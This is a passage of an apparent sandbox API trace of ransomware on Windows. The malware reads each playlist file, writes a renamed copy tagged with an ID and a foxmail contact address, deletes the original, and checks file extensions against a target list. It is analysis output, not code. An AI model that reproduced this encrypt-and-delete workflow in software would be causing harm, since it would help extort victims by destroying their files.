GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl")) returned 0x2020 [0180.600] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.600] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.600] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.600] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.600] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.601] GetLastError () returned 0x0 [0180.601] ReadFile (in: hFile=0x158, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x31d, lpOverlapped=0x0) returned 1 [0180.603] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x320, lpOverlapped=0x0) returned 1 [0180.603] ReadFile (in: hFile=0x158, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.604] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x122, lpOverlapped=0x0) returned 1 [0180.604] SetEndOfFile (hFile=0x2e0) returned 1 [0180.604] CloseHandle (hObject=0x2e0) returned 1 [0180.604] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.604] SetEndOfFile (hFile=0x158) returned 1 [0180.605] CloseHandle (hObject=0x158) returned 1 [0180.605] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.605] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl")) returned 1 [0180.605] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.605] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.605] lstrlenW (lpString=".doc") returned 4 [0180.605] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.605] lstrlenW (lpString=".docx") returned 5 [0180.605] lstrcmpiW (lpString1=".docx", lpString2="h.wpl") returned -1 [0180.605] lstrlenW (lpString=".pdf") returned 4 [0180.605] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.605] lstrlenW (lpString=".xls") returned 4 [0180.605] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.605] lstrlenW (lpString=".xlsx") returned 5 [0180.606] lstrcmpiW (lpString1=".xlsx", lpString2="h.wpl") returned -1 [0180.606] lstrlenW (lpString=".ppt") returned 4 [0180.606] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.606] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.606] lstrlenW (lpString=".zip") returned 4 [0180.606] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.606] lstrlenW (lpString=".rar") returned 4 [0180.606] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.606] lstrlenW (lpString=".bz2") returned 4 [0180.606] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.606] lstrlenW (lpString=".7z") returned 3 [0180.606] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.606] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.606] lstrlenW (lpString=".dbf") returned 4 [0180.606] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.606] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.606] lstrlenW (lpString=".1cd") returned 4 [0180.606] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.606] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.606] lstrlenW (lpString=".jpg") returned 4 [0180.606] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.606] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.606] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.606] lstrlenW (lpString=".doc") returned 4 [0180.606] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.606] lstrlenW (lpString=".docx") returned 5 [0180.606] lstrcmpiW (lpString1=".docx", lpString2="h.wpl") returned -1 [0180.607] lstrlenW (lpString=".pdf") returned 4 [0180.607] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.607] lstrlenW (lpString=".xls") returned 4 [0180.607] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.607] lstrlenW (lpString=".xlsx") returned 5 [0180.607] lstrcmpiW (lpString1=".xlsx", lpString2="h.wpl") returned -1 [0180.607] lstrlenW (lpString=".ppt") returned 4 [0180.607] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.607] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.607] lstrlenW (lpString=".zip") returned 4 [0180.607] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.607] lstrlenW (lpString=".rar") returned 4 [0180.607] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.607] lstrlenW (lpString=".bz2") returned 4 [0180.607] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.607] lstrlenW (lpString=".7z") returned 3 [0180.607] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.607] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.607] lstrlenW (lpString=".dbf") returned 4 [0180.607] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.607] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.607] lstrlenW (lpString=".1cd") returned 4 [0180.607] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.607] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.607] lstrlenW (lpString=".jpg") returned 4 [0180.607] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.608] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.608] lstrlenW (lpString="06_Pictures_rated_4_or_5_stars.wpl") returned 34 [0180.608] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.608] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=785) returned 1 [0180.608] CloseHandle (hObject=0x158) returned 1 [0180.608] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl")) returned 0x2020 [0180.608] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.608] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.609] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.609] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.609] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.609] GetLastError () returned 0x0 [0180.609] ReadFile (in: hFile=0x158, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x311, lpOverlapped=0x0) returned 1 [0180.611] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x320, lpOverlapped=0x0) returned 1 [0180.612] ReadFile (in: hFile=0x158, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.612] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x118, lpOverlapped=0x0) returned 1 [0180.612] SetEndOfFile (hFile=0x2e0) returned 1 [0180.612] CloseHandle (hObject=0x2e0) returned 1 [0180.612] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.612] SetEndOfFile (hFile=0x158) returned 1 [0180.613] CloseHandle (hObject=0x158) returned 1 [0180.613] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.613] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl")) returned 1 [0180.613] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0180.613] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0180.613] lstrlenW (lpString=".doc") returned 4 [0180.614] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.614] lstrlenW (lpString=".docx") returned 5 [0180.614] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0180.614] lstrlenW (lpString=".pdf") returned 4 [0180.614] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.614] lstrlenW (lpString=".xls") returned 4 [0180.614] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.614] lstrlenW (lpString=".xlsx") returned 5 [0180.614] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0180.614] lstrlenW (lpString=".ppt") returned 4 [0180.614] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.614] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0180.614] lstrlenW (lpString=".zip") returned 4 [0180.614] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.614] lstrlenW (lpString=".rar") returned 4 [0180.614] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.614] lstrlenW (lpString=".bz2") returned 4 [0180.614] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.614] lstrlenW (lpString=".7z") returned 3 [0180.614] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.614] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0180.614] lstrlenW (lpString=".dbf") returned 4 [0180.614] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.614] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0180.614] lstrlenW (lpString=".1cd") returned 4 [0180.614] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.614] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0180.614] lstrlenW (lpString=".jpg") returned 4 [0180.615] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.615] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0180.615] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0180.615] lstrlenW (lpString=".doc") returned 4 [0180.615] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.615] lstrlenW (lpString=".docx") returned 5 [0180.615] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0180.615] lstrlenW (lpString=".pdf") returned 4 [0180.615] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.615] lstrlenW (lpString=".xls") returned 4 [0180.615] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.615] lstrlenW (lpString=".xlsx") returned 5 [0180.615] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0180.615] lstrlenW (lpString=".ppt") returned 4 [0180.615] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.615] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0180.615] lstrlenW (lpString=".zip") returned 4 [0180.615] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.615] lstrlenW (lpString=".rar") returned 4 [0180.615] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.615] lstrlenW (lpString=".bz2") returned 4 [0180.615] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.615] lstrlenW (lpString=".7z") returned 3 [0180.615] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.615] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0180.615] lstrlenW (lpString=".dbf") returned 4 [0180.876] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.876] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0180.876] lstrlenW (lpString=".1cd") returned 4 [0180.876] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.876] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0180.876] lstrlenW (lpString=".jpg") returned 4 [0180.876] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.876] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.876] lstrlenW (lpString="07_TV_recorded_in_the_last_week.wpl") returned 35 [0180.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.876] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1040) returned 1 [0180.877] CloseHandle (hObject=0x198) returned 1 [0180.877] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl")) returned 0x2020 [0180.877] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.877] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.877] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.877] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.877] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0181.565] GetLastError () returned 0x0 [0181.565] ReadFile (in: hFile=0x198, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x410, lpOverlapped=0x0) returned 1 [0181.566] WriteFile (in: hFile=0x19c, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x420, lpOverlapped=0x0) returned 1 [0181.567] ReadFile (in: hFile=0x198, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0181.567] WriteFile (in: hFile=0x19c, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x11a, lpOverlapped=0x0) returned 1 [0181.567] SetEndOfFile (hFile=0x19c) returned 1 [0181.568] CloseHandle (hObject=0x19c) returned 1 [0181.568] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.568] SetEndOfFile (hFile=0x198) returned 1 [0181.568] CloseHandle (hObject=0x198) returned 1 [0181.568] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.569] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl")) returned 1 [0181.569] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0181.569] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0181.569] lstrlenW (lpString=".doc") returned 4 [0181.569] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0181.569] lstrlenW (lpString=".docx") returned 5 [0181.569] lstrcmpiW (lpString1=".docx", lpString2="k.wpl") returned -1 [0181.569] lstrlenW (lpString=".pdf") returned 4 [0181.569] 